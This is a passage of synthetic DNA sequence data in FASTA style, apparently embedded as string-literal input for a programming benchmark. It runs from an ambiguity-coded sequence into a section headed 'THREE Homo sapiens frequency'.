aSMtatgWattaKttWtgDBMaggBBttBaatWttRtgcNtHcgttttHtKtcWtagHSt\n\ aacagttgatatBtaWSaWggtaataaMttaKacDaatactcBttcaatatHttcBaaSa\n\ aatYggtaRtatNtHcaatcaHtagVtgtattataNggaMtcttHtNagctaaaggtaga\n\ YctMattNaMVNtcKtactBKcaHHcBttaSagaKacataYgctaKaYgttYcgacWVtt\n\ WtSagcaacatcccHaccKtcttaacgaKttcacKtNtacHtatatRtaaatacactaBt\n\ ttgaHaRttggttWtatYagcatYDatcggagagcWBataagRtacctataRKgtBgatg\n\ aDatataSttagBaHtaatNtaDWcWtgtaattacagKttcNtMagtattaNgtctcgtc\n\ ctcttBaHaKcKccgtRcaaYagSattaagtKataDatatatagtcDtaacaWHcaKttD\n\ gaaRcgtgYttgtcatatNtatttttatggccHtgDtYHtWgttatYaacaattcaWtat\n\ NgctcaaaSttRgctaatcaaatNatcgtttaBtNNVtgttataagcaaagattBacgtD\n\ atttNatttaaaDcBgtaSKgacgtagataatttcHMVNttgttBtDtgtaWKaaRMcKM\n\ tHtaVtagataWctccNNaSWtVaHatctcMgggDgtNHtDaDttatatVWttgttattt\n\ aacctttcacaaggaSaDcggttttttatatVtctgVtaacaStDVaKactaMtttaSNa\n\ gtgaaattaNacttSKctattcctctaSagKcaVttaagNaVcttaVaaRNaHaaHttat\n\ gtHttgtgatMccaggtaDcgaccgtWgtWMtttaHcRtattgScctatttKtaaccaag\n\ tYagaHgtWcHaatgccKNRtttagtMYSgaDatctgtgaWDtccMNcgHgcaaacNDaa\n\ aRaStDWtcaaaaHKtaNBctagBtgtattaactaattttVctagaatggcWSatMaccc\n\ ttHttaSgSgtgMRcatRVKtatctgaaaccDNatYgaaVHNgatMgHRtacttaaaRta\n\ tStRtDtatDttYatattHggaBcttHgcgattgaKcKtttcRataMtcgaVttWacatN\n\ catacctRataDDatVaWNcggttgaHtgtMacVtttaBHtgagVttMaataattatgtt\n\ cttagtttgtgcDtSatttgBtcaacHattaaBagVWcgcaSYttMgcttacYKtVtatc\n\ aYaKctgBatgcgggcYcaaaaacgNtctagKBtattatctttKtaVttatagtaYtRag\n\ NtaYataaVtgaatatcHgcaaRataHtacacatgtaNtgtcgYatWMatttgaactacR\n\ ctaWtWtatacaatctBatatgYtaagtatgtgtatSttactVatcttYtaBcKgRaSgg\n\ RaaaaatgcagtaaaWgtaRgcgataatcBaataccgtatttttccatcNHtatWYgatH\n\ SaaaDHttgctgtccHtggggcctaataatttttctatattYWtcattBtgBRcVttaVM\n\ RSgctaatMagtYtttaaaaatBRtcBttcaaVtaacagctccSaaSttKNtHtKYcagc\n\ agaaaccccRtttttaaDcDtaStatccaagcgctHtatcttaDRYgatDHtWcaaaBcW\n\ gKWHttHataagHacgMNKttMKHccaYcatMVaacgttaKgYcaVaaBtacgcaacttt\n\ MctaaHaatgtBatgagaSatgtatgSRgHgWaVWgataaatatttccKagVgataattW\n\ aHNcYggaaatgctHtKtaDtctaaagtMaatVDVactWtSaaWaaMtaHtaSKtcBRaN\n\ cttStggtBttacNagcatagRgtKtgcgaacaacBcgKaatgataagatgaaaattgta\n\ ctgcgggtccHHWHaaNacaBttNKtKtcaaBatatgctaHNgtKcDWgtttatNgVDHg\n\ accaacWctKaaggHttgaRgYaatHcaBacaatgagcaaattactgtaVaaYaDtagat\n\ tgagNKggtggtgKtWKaatacagDRtatRaMRtgattDggtcaaYRtatttNtagaDtc\n\ acaaSDctDtataatcgtactaHttatacaatYaacaaHttHatHtgcgatRRttNgcat\n\ SVtacWWgaaggagtatVMaVaaattScDDKNcaYBYaDatHgtctatBagcaacaagaa\n\ tgagaaRcataaKNaRtBDatcaaacgcattttttaaBtcSgtacaRggatgtMNaattg\n\ gatatWtgagtattaaaVctgcaYMtatgatttttYgaHtgtcttaagWBttHttgtctt\n\ attDtcgtatWtataataSgctaHagcDVcNtaatcaagtaBDaWaDgtttagYctaNcc\n\ DtaKtaHcttaataacccaRKtacaVaatNgcWRaMgaattatgaBaaagattVYaHMDc\n\ aDHtcRcgYtcttaaaWaaaVKgatacRtttRRKYgaatacaWVacVcRtatMacaBtac\n\ tggMataaattttHggNagSctacHgtBagcgtcgtgattNtttgatSaaggMttctttc\n\ ttNtYNagBtaaacaaatttMgaccttacataattgYtcgacBtVMctgStgMDtagtaR\n\ ctHtatgttcatatVRNWataDKatWcgaaaaagttaaaagcacgHNacgtaatctttMR\n\ tgacttttDacctataaacgaaatatgattagaactccSYtaBctttaataacWgaaaYa\n\ tagatgWttcatKtNgatttttcaagHtaYgaaRaDaagtaggagcttatVtagtctttc\n\ attaaaatcgKtattaRttacagVaDatgcatVgattgggtctttHVtagKaaRBtaHta\n\ aggccccaaaaKatggtttaMWgtBtaaacttcactttKHtcgatctccctaYaBacMgt\n\ cttBaBaNgcgaaacaatctagtHccHtKttcRtRVttccVctttcatacYagMVtMcag\n\ aMaaacaataBctgYtaatRaaagattaaccatVRatHtaRagcgcaBcgDttStttttc\n\ VtttaDtKgcaaWaaaaatSccMcVatgtKgtaKgcgatatgtagtSaaaDttatacaaa\n\ catYaRRcVRHctKtcgacKttaaVctaDaatgttMggRcWaacttttHaDaKaDaBctg\n\ taggcgtttaHBccatccattcNHtDaYtaataMttacggctNVaacDattgatatttta\n\ cVttSaattacaaRtataNDgacVtgaacataVRttttaDtcaaacataYDBtttaatBa\n\ DtttYDaDaMccMttNBttatatgagaaMgaNtattHccNataattcaHagtgaaggDga\n\ tgtatatatgYatgaStcataaBStWacgtcccataRMaaDattggttaaattcMKtctM\n\ acaBSactcggaatDDgatDgcWctaacaccgggaVcacWKVacggtaNatatacctMta\n\ tgatagtgcaKagggVaDtgtaacttggagtcKatatcgMcttRaMagcattaBRaStct\n\ YSggaHYtacaactMBaagDcaBDRaaacMYacaHaattagcattaaaHgcgctaaggSc\n\ cKtgaaKtNaBtatDDcKBSaVtgatVYaagVtctSgMctacgttaacWaaattctSgtD\n\ actaaStaaattgcagBBRVctaatatacctNttMcRggctttMttagacRaHcaBaacV\n\ KgaataHttttMgYgattcYaNRgttMgcVaaacaVVcDHaatttgKtMYgtatBtVVct\n\ WgVtatHtacaaHttcacgatagcagtaaNattBatatatttcVgaDagcggttMaagtc\n\ ScHagaaatgcYNggcgtttttMtStggtRatctacttaaatVVtBacttHNttttaRca\n\ aatcacagHgagagtMgatcSWaNRacagDtatactaaDKaSRtgattctccatSaaRtt\n\ aaYctacacNtaRtaactggatgaccYtacactttaattaattgattYgttcagDtNKtt\n\ agDttaaaaaaaBtttaaNaYWKMBaaaacVcBMtatWtgBatatgaacVtattMtYatM\n\ NYDKNcKgDttDaVtaaaatgggatttctgtaaatWtctcWgtVVagtcgRgacttcccc\n\ taDcacagcRcagagtgtWSatgtacatgttaaSttgtaaHcgatgggMagtgaacttat\n\ RtttaVcaccaWaMgtactaatSSaHtcMgaaYtatcgaaggYgggcgtgaNDtgttMNg\n\ aNDMtaattcgVttttaacatgVatgtWVMatatcaKgaaattcaBcctccWcttgaaWH\n\ tWgHtcgNWgaRgctcBgSgaattgcaaHtgattgtgNagtDttHHgBttaaWcaaWagc\n\ aSaHHtaaaVctRaaMagtaDaatHtDMtcVaWMtagSagcttHSattaacaaagtRacM\n\ tRtctgttagcMtcaBatVKtKtKacgagaSNatSactgtatatcBctgagVtYactgta\n\ aattaaaggcYgDHgtaacatSRDatMMccHatKgttaacgactKtgKagtcttcaaHRV\n\ tccttKgtSataatttacaactggatDNgaacttcaRtVaagDcaWatcBctctHYatHa\n\ DaaatttagYatSatccaWtttagaaatVaacBatHcatcgtacaatatcgcNYRcaata\n\ YaRaYtgattVttgaatgaVaactcRcaNStgtgtattMtgaggtNttBaDRcgaaaagc\n\ tNgBcWaWgtSaDcVtgVaatMKBtttcgtttctaaHctaaagYactgMtatBDtcStga\n\ ccgtSDattYaataHctgggaYYttcggttaWaatctggtRagWMaDagtaacBccacta\n\ cgHWMKaatgatWatcctgHcaBaSctVtcMtgtDttacctaVgatYcWaDRaaaaRtag\n\ atcgaMagtggaRaWctctgMgcWttaagKBRtaaDaaWtctgtaagYMttactaHtaat\n\ cttcataacggcacBtSgcgttNHtgtHccatgttttaaagtatcgaKtMttVcataYBB\n\ aKtaMVaVgtattNDSataHcagtWMtaggtaSaaKgttgBtVtttgttatcatKcgHac\n\ acRtctHatNVagSBgatgHtgaRaSgttRcctaacaaattDNttgacctaaYtBgaaaa\n\ tagttattactcttttgatgtNNtVtgtatMgtcttRttcatttgatgacacttcHSaaa\n\ ccaWWDtWagtaRDDVNacVaRatgttBccttaatHtgtaaacStcVNtcacaSRttcYa\n\ gacagaMMttttgMcNttBcgWBtactgVtaRttctccaaYHBtaaagaBattaYacgat\n\ ttacatctgtaaMKaRYtttttactaaVatWgctBtttDVttctggcDaHaggDaagtcg\n\ aWcaagtagtWttHtgKtVataStccaMcWcaagataagatcactctHatgtcYgaKcat\n\ cagatactaagNSStHcctRRNtattgtccttagttagMVgtatagactaactctVcaat\n\ MctgtttgtgttgccttatWgtaBVtttctggMcaaKgDWtcgtaaYStgSactatttHg\n\ atctgKagtagBtVacRaagRtMctatgggcaaaKaaaatacttcHctaRtgtDcttDat\n\ taggaaatttcYHaRaaBttaatggcacKtgctHVcaDcaaaVDaaaVcgMttgtNagcg\n\ taDWgtcgttaatDgKgagcSatatcSHtagtagttggtgtHaWtaHKtatagctgtVga\n\ ttaBVaatgaataagtaatVatSttaHctttKtttgtagttaccttaatcgtagtcctgB\n\ cgactatttVcMacHaaaggaatgDatggKtaHtgStatattaaSagctWcctccRtata\n\ BaDYcgttgcNaagaggatRaaaYtaWgNtSMcaatttactaacatttaaWttHtatBat\n\ tgtcgacaatNgattgcNgtMaaaKaBDattHacttggtRtttaYaacgVactBtaBaKt\n\ gBttatgVttgtVttcaatcWcNctDBaaBgaDHacBttattNtgtDtatttVSaaacag\n\ gatgcRatSgtaSaNtgBatagttcHBgcBBaaattaHgtDattatDaKaatBaaYaaMa\n\ ataaataKtttYtagtBgMatNcatgtttgaNagtgttgtgKaNaSagtttgaSMaYBca\n\ aaacDStagttVacaaaaactaaWttBaagtctgtgcgtMgtaattctcctacctcaNtt\n\ taaccaaaaVtBcacataacaccccBcWMtatVtggaatgaWtcaaWaaaaaaaaWtDta\n\ atatRcctDWtcctaccMtVVatKttaWaaKaaatataaagScHBagaggBaSMtaWaVt\n\ atattactSaaaKNaactatNatccttgaYctattcaaaVgatttYHcRagattttaSat\n\ aggttattcVtaaagaKgtattattKtRttNcggcRgtgtgtWYtaacHgKatKgatYta\n\ cYagDtWcHBDctctgRaYKaYagcactKcacSaRtBttttBHKcMtNtcBatttatttt\n\ tgSatVgaaagaWtcDtagDatatgMacaacRgatatatgtttgtKtNRaatatNatgYc\n\ aHtgHataacKtgagtagtaacYttaNccaaatHcacaacaVDtagtaYtccagcattNt\n\ acKtBtactaaagaBatVtKaaHBctgStgtBgtatgaSNtgDataaccctgtagcaBgt\n\ gatcttaDataStgaMaccaSBBgWagtacKcgattgaDgNNaaaacacagtSatBacKD\n\ gcgtataBKcatacactaSaatYtYcDaactHttcatRtttaatcaattataRtttgtaa\n\ gMcgNttcatcBtYBagtNWNMtSHcattcRctttttRWgaKacKttgggagBcgttcgc\n\ MaWHtaatactgtctctatttataVgtttaBScttttaBMaNaatMacactYtBMggtHa\n\ cMagtaRtctgcatttaHtcaaaatttgagKtgNtactBacaHtcgtatttctMaSRagc\n\ agttaatgtNtaaattgagagWcKtaNttagVtacgatttgaatttcgRtgtWcVatcgt\n\ taaDVctgtttBWgaccagaaagtcSgtVtatagaBccttttcctaaattgHtatcggRa\n\ ttttcaaggcYSKaagWaWtRactaaaacccBatMtttBaatYtaagaactSttcgaaSc\n\ aatagtattgaccaagtgttttctaacatgtttNVaatcaaagagaaaNattaaRtttta\n\ VaaaccgcaggNMtatattVctcaagaggaacgBgtttaacaagttcKcYaatatactaa\n\ ccBaaaSggttcNtattctagttRtBacgScVctcaatttaatYtaaaaaaatgSaatga\n\ tagaMBRatgRcMcgttgaWHtcaVYgaatYtaatctttYttatRaWtctgBtDcgatNa\n\ tcKaBaDgatgtaNatWKctccgatattaacattNaaacDatgBgttctgtDtaaaMggt\n\ gaBaSHataacgccSctaBtttaRBtcNHcDatcDcctagagtcRtaBgWttDRVHagat\n\ tYatgtatcWtaHtttYcattWtaaagtctNgtStggRNcgcggagSSaaagaaaatYcH\n\ DtcgctttaatgYcKBVSgtattRaYBaDaaatBgtatgaHtaaRaRgcaSWNtagatHa\n\ acttNctBtcaccatctMcatattccaSatttgcgaDagDgtatYtaaaVDtaagtttWV\n\ aagtagYatRttaagDcNgacKBcScagHtattatcDaDactaaaaaYgHttBcgaDttg\n\ gataaaKSRcBMaBcgaBSttcWtgNBatRaccgattcatttataacggHVtaattcaca\n\ agagVttaaRaatVVRKcgWtVgacctgDgYaaHaWtctttcacMagggatVgactagMa\n\ aataKaaNWagKatagNaaWtaaaatttgaattttatttgctaaVgaHatBatcaaBWcB\n\ gttcMatcgBaaNgttcgSNaggSaRtttgHtRtattaNttcDcatSaVttttcgaaaaa\n\ ttgHatctaRaggSaNatMDaaatDcacgattttagaHgHaWtYgattaatHNSttatMS\n\ gggNtcKtYatRggtttgtMWVtttaYtagcagBagHaYagttatatggtBacYcattaR\n\ SataBatMtttaaatctHcaaaSaaaagttNSaaWcWRccRtKaagtBWtcaaattSttM\n\ tattggaaaccttaacgttBtWatttatatWcDaatagattcctScacctaagggRaaYt\n\ aNaatgVtBcttaaBaacaMVaaattatStYgRcctgtactatcMcVKatttcgSgatRH\n\ MaaaHtagtaaHtVgcaaataatatcgKKtgccaatBNgaaWcVttgagttaKatagttc\n\ aggKDatDtattgaKaVcaKtaataDataataHSaHcattagttaatRVYcNaHtaRcaa\n\ ggtNHcgtcaaccaBaaagYtHWaaaRcKgaYaaDttgcWYtataRgaatatgtYtgcKt\n\ aNttWacatYHctRaDtYtattcBttttatcSataYaYgttWaRagcacHMgtttHtYtt\n\ YaatcggtatStttcgtRSattaaDaKMaatatactaNBaWgctacacYtgaYVgtgHta\n\ aaRaaRgHtagtWattataaaSDaaWtgMattatcgaaaagtaYRSaWtSgNtBgagcRY\n\ aMDtactaacttaWgtatctagacaagNtattHggataatYttYatcataDcgHgttBtt\n\ ctttVttgccgaaWtaaaacgKgtatctaaaaaNtccDtaDatBMaMggaatNKtatBaa\n\ atVtccRaHtaSacataHattgtttKVYattcataVaattWtcgtgMttcttKtgtctaa\n\ cVtatctatatBRataactcgKatStatattcatHHRttKtccaacgtgggtgRgtgaMt\n\ attattggctatcgtgacMtRcBDtcttgtactaatRHttttaagatcgVMDStattatY\n\ BtttDttgtBtNttgRcMtYtgBacHaWaBaatDKctaagtgaaactaatgRaaKgatcc\n\ aagNaaaatattaggWNtaagtatacttttKcgtcggSYtcttgRctataYcttatataa\n\ agtatattaatttataVaacacaDHatctatttttKYVatHRactttaBHccaWagtact\n\ BtcacgaVgcgttRtttttttSVgtSagtBaaattctgaHgactcttgMcattttagVta\n\ agaattHctHtcaDaaNtaacRggWatagttcgtSttgaDatcNgNagctagDgatcNtt\n\ KgttgtaDtctttRaaYStRatDtgMggactSttaDtagSaVtBDttgtDgccatcacaM\n\ attaaaMtNacaVcgSWcVaaDatcaHaatgaattaMtatccVtctBtaattgtWattat\n\ BRcWcaatgNNtactWYtDaKttaaatcactcagtRaaRgatggtKgcgccaaHgaggat\n\ StattYcaNMtcaBttacttatgagDaNtaMgaaWtgtttcttctaHtMNgttatctaWW\n\ atMtBtaaatagDVatgtBYtatcggcttaagacMRtaHScgatatYgRDtcattatSDa\n\ HggaaataNgaWSRRaaaBaatagBattaDctttgHWNttacaataaaaaaatacggttt\n\ gHgVtaHtWMttNtBtctagtMcgKMgHgYtataHaNagWtcaacYattaataYRgtaWK\n\ gaBctataaccgatttaHaNBRaRaMtccggtNgacMtctcatttgcaattcWgMactta\n\ caaDaaNtactWatVtttagccttMaatcagVaagtctVaaDaBtattaattaYtNaYtg\n\ gattaKtaKctYaMtattYgatattataatKtVgDcttatatNBtcgttgtStttttMag\n\ aggttaHYSttcKgtcKtDNtataagttataagSgttatDtRttattgttttSNggRtca\n\ aKMNatgaatattgtBWtaMacctgggYgaSgaagYataagattacgagaatBtggtRcV\n\ HtgYggaDgaYaKagWagctatagacgaaHgtWaNgacttHRatVaWacKYtgRVNgVcS\n\ gRWctacatcKSactctgWYtBggtataagcttNRttVtgRcaWaaatDMatYattaact\n\ ttcgaagRatSctgccttgcRKaccHtttSNVagtagHagBagttagaccaRtataBcca\n\ taatSHatRtcHagacBWatagcaMtacaRtgtgaaBatctKRtScttccaNaatcNgta\n\ atatWtcaMgactctBtWtaaNactHaaaaRctcgcatggctMcaaNtcagaaaaacaca\n\ gtggggWttRttagtaagaVctVMtcgaatcttcMaaaHcaHBttcgattatgtcaDagc\n\ YRtBtYcgacMgtDcagcgaNgttaataatagcagKYYtcgtaBtYctMaRtaRtDagaa\n\ aacacatgYaBttgattattcgaaNttBctSataaMataWRgaHtttccgtDgaYtatgg\n\ tDgHKgMtatttVtMtVagttaRatMattRagataaccctKctMtSttgaHagtcStcta\n\ tttccSagatgttccacgaggYNttHRacgattcDatatDcataaaatBBttatcgaHtN\n\ HaaatatDNaggctgaNcaaggagttBttMgRagVatBcRtaWgatgBtSgaKtcgHttt\n\ gaatcaaDaHttcSBgHcagtVaaSttDcagccgttNBtgttHagYtattctttRWaaVt\n\ SttcatatKaaRaaaNacaVtVctMtSDtDtRHRcgtaatgctcttaaatSacacaatcg\n\ HattcaWcttaaaatHaaatcNctWttaNMcMtaKctVtcctaagYgatgatcYaaaRac\n\ tctaRDaYagtaacgtDgaggaaatctcaaacatcaScttcKttNtaccatNtaNataca\n\ tttHaaDHgcaDatMWaaBttcRggctMaagctVYcacgatcaDttatYtaatcKatWat\n\ caatVYtNagatttgattgaYttttYgacttVtcKaRagaaaHVgDtaMatKYagagttN\n\ atWttaccNtYtcDWgSatgaRgtMatgKtcgacaagWtacttaagtcgKtgatccttNc\n\ ttatagMatHVggtagcgHctatagccctYttggtaattKNaacgaaYatatVctaataM\n\ aaaYtgVtcKaYtaataacagaatHcacVagatYWHttagaaSMaatWtYtgtaaagNaa\n\ acaVgaWtcacNWgataNttcaSagctMDaRttgNactaccgataMaaatgtttattDtc\n\ aagacgctDHYYatggttcaagccNctccttcMctttagacBtaaWtaWVHggaaaaNat\n\ ttaDtDtgctaaHHtMtatNtMtagtcatttgcaaaRatacagRHtatDNtgtDgaatVg\n\ tVNtcaaatYBMaaaagcaKgtgatgatMgWWMaHttttMgMagatDtataaattaacca\n\ actMtacataaattgRataatacgBtKtaataattRgtatDagDtcRDacctatRcagag\n\ cSHatNtcaScNtttggacNtaaggaccgtgKNttgttNcttgaaRgYgRtNtcagttBc\n\ ttttcHtKtgcttYaaNgYagtaaatgaatggWaMattBHtatctatSgtcYtgcHtaat\n\ tHgaaMtHcagaaSatggtatgccaHBtYtcNattWtgtNgctttaggtttgtWatNtgH\n\ tgcDttactttttttgcNtactKtWRaVcttcatagtgSNKaNccgaataaBttataata\n\ YtSagctttaaatSttggctaaKSaatRccgWHgagDttaaatcatgagMtcgagtVtaD\n\ ggaBtatttgDacataaacgtagYRagBWtgDStKDgatgaagttcattatttaKWcata\n\ aatWRgatataRgttRacaaNKttNtKagaaYaStaactScattattaacgatttaaatg\n\ DtaattagatHgaYataaactatggggatVHtgccgtNgatNYcaStRtagaccacWcaM\n\ tatRagHgVactYtWHtcttcatgatWgagaKggagtatgaWtDtVtNaNtcgYYgtaaa\n\ ctttaDtBactagtaDctatagtaatatttatatataacgHaaaRagKattSagttYtSt\n\ >THREE Homo sapiens frequency\n\ agagagacgatgaaaattaatcgtcaatacgctggcgaacactgagggggacccaatgct\n\ cttctcggtctaaaaaggaatgtgtcagaaattggtcagttcaaaagtagaccggatctt\n\ tgcggagaacaattcacggaacgtagcgttgggaaatatcctttctaccacacatcggat\n\ tttcgccctctcccattatttattgtgttctcacatagaattattgtttagacatccctc\n\ gttgtatggagagttgcccgagcgtaaaggcataatccatataccgccgggtgagtgacc\n\ tgaaattgtttttagttgggatttcgctatggattagcttacacgaagagattctaatgg\n\ tactataggataattataatgctgcgtggcgcagtacaccgttacaaacgtcgttcgcat\n\ atgtggctaacacggtgaaaatacctacatcgtatttgcaatttcggtcgtttcatagag\n\ cgcattgaattactcaaaaattatatatgttgattatttgattagactgcgtggaaagaa\n\ ggggtactcaagccatttgtaaaagctgcatctcgcttaagtttgagagcttacattagt\n\ ctatttcagtcttctaggaaatgtctgtgtgagtggttgtcgtccataggtcactggcat\n\ atgcgattcatgacatgctaaactaagaaagtagattactattaccggcatgcctaatgc\n\ gattgcactgctatgaaggtgcggacgtcgcgcccatgtagccctgataataccaatact\n\ tacatttggtcagcaattctgacattatacctagcacccataaatttactcagacttgag\n\ gacaggctcttggagtcgatcttctgtttgtatgcatgtgatcatatagatgaataagcg\n\ atgcgactagttagggcatagtatagatctgtgtatacagttcagctgaacgtccgcgag\n\ tggaagtacagctgagatctatcctaaaatgcaaccatatcgttcacacatgatatgaac\n\ ccagggggaaacattgagttcagttaaattggcagcgaatcccccaagaagaaggcggag\n\ tgacgttgaacgggcttatggtttttcagtacttcctccgtataagttgagcgaaatgta\n\ aacagaataatcgttgtgttaacaacattaaaatcgcggaatatgatgagaatacacagt\n\ gtgagcatttcacttgtaaaatatctttggtagaacttactttgctttaaatatgttaaa\n\ ccgatctaataatctacaaaacggtagattttgcctagcacattgcgtccttctctattc\n\ agatagaggcaatactcagaaggttttatccaaagcactgtgttgactaacctaagtttt\n\ agtctaataatcatgattgattataggtgccgtggactacatgactcgtccacaaataat\n\ acttagcagatcagcaattggccaagcacccgacttttatttaatggttgtgcaatagtc\n\ cagattcgtattcgggactctttcaaataatagtttcctggcatctaagtaagaaaagct\n\ cataaggaagcgatattatgacacgctcttccgccgctgttttgaaacttgagtattgct\n\ cgtccgaaattgagggtcacttcaaaatttactgagaagacgaagatcgactaaagttaa\n\ aatgctagtccacagttggtcaagttgaattcatccacgagttatatagctattttaatt\n\ tatagtcgagtgtacaaaaaacatccacaataagatttatcttagaataacaacccccgt\n\ atcatcgaaatcctccgttatggcctgactcctcgagcttatagcatttgtgctggcgct\n\ cttgccaggaacttgctcgcgaggtggtgacgagtgagatgatcagtttcattatgatga\n\ tacgattttatcgcgactagttaatcatcatagcaagtaaaatttgaattatgtcattat\n\ catgctccattaacaggttatttaattgatactgacgaaattttttcacaatgggttttc\n\ tagaatttaatatcagtaattgaagccttcataggggtcctactagtatcctacacgacg\n\ caggtccgcagtatcctggagggacgtgttactgattaaaagggtcaaaggaatgaaggc\n\ tcacaatgttacctgcttcaccatagtgagccgatgagttttacattagtactaaatccc\n\ aaatcatactttacgatgaggcttgctagcgctaaagagaatacatacaccaccacatag\n\ aattgttagcgatgatatcaaatagactcctggaagtgtcagggggaaactgttcaatat\n\ ttcgtccacaggactgaccaggcatggaaaagactgacgttggaaactataccatctcac\n\ gcccgacgcttcactaattgatgatccaaaaaatatagcccggattcctgattagcaaag\n\ ggttcacagagaaagatattatcgacgtatatcccaaaaaacagacgtaatgtgcatctt\n\ cgaatcgggatgaatacttgtatcataaaaatgtgacctctagtatacaggttaatgtta\n\ gtgatacacaatactcgtgggccatgggttctcaaataaaatgtaatattgcgtcgatca\n\ ctcacccacgtatttggtctaattatgttttatttagtgacaatccaatagataaccggt\n\ cctattaagggctatatttttagcgaccacgcgtttaaacaaaggattgtatgtagatgg\n\ taccagtttaattgccagtgggcaatcctaagcaaaatgagattctatcctaaagtttgg\n\ gcttgatataagatttcggatgtatgggttttataatcgttggagagctcaatcatgagc\n\ taatacatggatttcgctacctcaccgagagaccttgcatgaagaattctaaccaaaagt\n\ ttaataggccggattggattgagttaattaagaccttgttcagtcatagtaaaaaccctt\n\ aaattttaccgattgacaaagtgagcagtcgcaataccctatgcgaaacgcctcgatagt\n\ gactaggtatacaaggtttttgagttcctttgaaatagttaactaatttaaaattaatta\n\ acgacatggaaatcacagaacctaatgctttgtaggagttatttatgctgtttactgcct\n\ ctacaaccctaataaagcagtcctaagaatgaaacgcatcttttagttcagaaagtggta\n\ tccagggtggtcaatttaataaattcaacatcgggtctcaggatattcggtcatataatt\n\ tattaagggctcttcgagtcttactctgagtgaaattggaaacagtcatccttttcgttg\n\ tgaggcatcttacaccgctatcgatatacaatgcattccaccgcggtgtcccgtacacaa\n\ ggaaacttgttaccttggggatataagaaaactcacacgtctcattattaaactgagtac\n\ aatttttgcacgagaaagtaatgcaatacaatatgatgaaagccagctaatgaaaaggga\n\ tggaacgcacctcggatctgttgcactggattaaaatccgattatttttaaaaatattca\n\ gtgctagagcatatcaggtctacttttttatctggtatgtaaagcccacggagcgatagt\n\ gagatccttacgactcaacgaaaagttataacataactcccgttagccaaagcccaatcc\n\ cgattactgccctaccctaacgtctgccatctaaatatcgaacttgttatgatcaatgtg\n\ actacctcccaccctttccccttcatttgttccactggggataagctagcgttttcagaa\n\ tcaatgcaataagaatagccaattgtctcacttcatcagagctcttggcaattccaggcg\n\ ctacgtggttctggaatatattcatttttcaaatagtaatacgtttagtgttgctattgt\n\ ctacacgtttggatattacgttatgtgagcggacatcaatagttgtctaactctttagta\n\ agccagagatagcactcttagcgaatggataccatcttccataagtttagttaatagtcc\n\ gaaacaactgcttcgagcatatttgaacctccttgtaggcaaatagcctcttcaaagcaa\n\ tcttactaatagatagagtttgttttaagggactactagaaatgggacaatcttaatagt\n\ atgacctaaactgacatttaaagatatatccaggtggcaagcataaagatcattgcgcca\n\ cctccaccgtgggattacttatcagtcgatatcctatatgctaagtttgcgacggcagaa\n\ tacaaactaagctgagttgatgctaaccttacctatgataccccattggaccggttaaca\n\ gccctacttattccaaataaaagaacttttatgctgtagaagctattatagtgatgcctg\n\ gtaacttcagtatattaaaatgacacacatacgccatatagagctcctggaactttgaat\n\ aatgagcgaacttcgaagttgaagagcaagaaaccatatgtcacggttgcctaaagcccg\n\ gtaaccagacatgtgctatcattgatcattatcgaggttttcataaccttgacccattat\n\ cggctgtgcgcggacaagtacttaaatcactagtttcttcacctgcttatcggtaagaaa\n\ taaggttggcaaagaatcgcataagacggacgtagagccgcagcgttgtgcgagtccagg\n\ tgcatgcgcagcaataggattttaaattttgttccatttttaatttagccgtaaggatgt\n\ ccgtaaatgattgaaaattggattcaatctttgggcctatgctactggaacctgatcgac\n\ aaaatttcaaacatacgttaactccgaaagaccgtatttttgcggctagaatagtcagtc\n\ gcttggagccatataccttaccacttaaacgacgtgctcctgtagttgaaatataaacag\n\ aacacaaagactaccgatcatatcaactgaagatctttgtaactttgaggcgaagcaccc\n\ tcttcgagacaactaagagtaaagtaccgggcgccgcaaggagtcgattgggaccctaaa\n\ tcttgacgaattgctaagaggctcagagctaccactgtaatttctctagagcccataata\n\ aatgaacgatacatccgtaggtagcacctaagggattataatggaagccaaatgcagtta\n\ ataatattatatactggcgtacacgattcgacggatctctcacatagtgattcacgaccc\n\ ccccctttgattgacacagcgtcagcattttgcaagaacgatcttctgcatagggtgcgc\n\ caccgtaaggatgacgtcgaagctacaactgggtataatttaccatgcttccctgatgct\n\ gagtgcaatacactaagaatgagtttttaccccatatcaccagtatttgttctgttattg\n\ cgaagaaatggctatgctgagttggcgactaaagtcacccatcctttttattaggtaacc\n\ ccctcccttaaactaactgatttgctggagctgccctgcatacatatactttatcattta\n\ tggacgtccgtgacgcttattatccaccatagtcgatatgctacacggattcattaatgg\n\ atcgtaggagtttaagttatatttactaagatcggtctcggctactatcccgccttaccc\n\ ggcgctatttacggccatttttaatatattgacggtaattattcctatggtttcgaccgc\n\ acgtccttggacaagaaagaatggcaaaaaaaatgtaaaagaaaaaaaatattgagtccc\n\ taccatcatataaaaaatatgtgatgagtaacttgacgaaatgttagtggttattaaaga\n\ ctatctattacaccttttgttttctgtcgtagtatattaaagtctagaagccttacagga\n\ aaatcagggttatacagccgatactccgcagcatgaatcatcgaggaggtgtcctaccat\n\ cgcgccttgtaatcttgtctgtgtatactgtatttagaccttttatacaaagtaaatatc\n\ tcggctttatgtgattgggaggggcctactcaaacatgatgacttgacctaataatcact\n\ gtgcgggcgtcttatgactagctattccttgaaatccaccaccaaatggttaatatgtaa\n\ aaactttgacgatgaaacaaggtgaatgtgtagttactttgtgtaattagctgcgtcgag\n\ cattgcttgtaaaaccgtcaatcgcacacgttacttccataaaatttctacgaatacacc\n\ cttcttaaaaaaaacgtaggaattcacgagtttaacaaacgataactgtataaagtggaa\n\ gtccgaagaaagcagatgcccgaactactcgaagatgtttcgttttcttaaccatagggg\n\ cttcttaatggcccactacgcacattttgttcaagcccgagagggacatccccattacgg\n\ gagtattactaaaactgttccgtaatacgttcagcaagggatgaaaaaggccactgctca\n\ agttattgacgtgggagtattacatcggaagcctgaatcccacactatgatggtctgtac\n\ aggcctagggactgcgtctagacggtattaccggcttctaatcatacgatcgtgagtctt\n\ aacgggaagtaaggctcacacctaccccaaaccatttatctatgtaagtataaaattgtg\n\ cgtaagtgttcaaagtggacaataaagacgtggcaaaaacccccgcacataagccgcttt\n\ agatttcacaaataccaatgcggttaaaaacatccttgagtcgtacatacaccatactcg\n\ cgttaaacggatataacagaagataataaatccggatgtggagtcggtgtaactatagaa\n\ agccaagtgaaataatgcttaccagtcatttagctatacggctttcatttcatgtcaaga\n\ gggtggagtttgacctgtacagttgatatatcaccgatacttagaactcacctaaagcta\n\ aaattgctcgcagcgtgtaatccgcatattacaaacaatagatgggattcattatacata\n\ agacacgatgatctgctttttcaggttgcgagatgttgcctatcgtcaatcgagtcctgc\n\ cttacaccacttaaacaaaagtattgacagggaacctattttcgaggtattatatagtcc\n\ 